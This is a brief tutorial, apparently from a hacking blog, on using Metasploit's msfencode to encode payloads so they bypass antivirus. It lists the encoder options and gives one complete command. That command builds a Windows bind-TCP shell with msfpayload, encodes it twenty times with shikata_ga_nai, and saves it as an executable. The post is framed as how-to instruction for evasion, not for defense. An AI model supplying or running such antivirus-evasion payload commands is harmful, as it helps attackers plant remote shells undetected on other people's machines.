msfencode

msfencode is used to encode our payload for bypass antivirus.
With -e we can specify the type of encoding, to see the list of avaible encoders type msfencode -l
With -l we can see the name of encoders, the rank and descripio for example:
Name: x86/shikata_ga_nai
Rank : Excellent
Description : Polymorphic XOR Additive Feedback Encoder
With -c we can specify how many times use the econder.
Now we must specify the type of payload for example pl,rb,java,c,exe and so on (for a complete list type msfencode -h).
How can we use msfencode with msfpayload?
Example: msfpayload windows/shell/bind_tcp LPORT=3333 RHOST=ip X | msfencode -e x86/shikata_ga_nai -c 20 -t exe -o /home/HackForLulz/payload.exe
With msfpayload we create a windows/shell/bind_tcp and we encode it with msfencode:
Encoder : x86/shikata_ga_nai
Numbers of encodings : 20
Type : exe
output : /home/HackForLulz/payload.exe
